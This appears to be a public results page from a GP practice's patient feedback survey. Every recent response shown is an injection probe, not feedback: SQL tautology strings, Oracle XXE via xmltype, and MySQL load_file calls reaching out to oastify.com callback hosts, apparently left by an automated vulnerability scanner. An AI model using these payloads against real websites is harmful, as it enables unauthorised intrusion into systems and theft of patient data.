Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
Very good’||(select extractvalue(xmltype(‘<!DOCTYPE root [ %byuen;]>’),’/l’) from dual)||’ | [10] | [11] | July 10, 2023 at 12:24 pm |
(select extractvalue(xmltype(‘<!DOCTYPE root [ %byuen;]>’),’/l’) from dual) | [10] | [11] | July 10, 2023 at 12:24 pm |
Very good20995724′ or ‘7478’=’7478 | [10] | [11] | July 10, 2023 at 12:23 pm |
Very good’+(select load_file(‘\7owfz37t76kq9ps40fkovcx8zz5xtpsdjg78u5iu.oastify.comfcp’))+’ | [10] | [11] | July 10, 2023 at 12:23 pm |
(select load_file(‘\jaxrlft5ti62v1egmr60hojklbr9f1ep5rtjgg45.oastify.comtws’)) | [10] | [11] | July 10, 2023 at 12:23 pm |
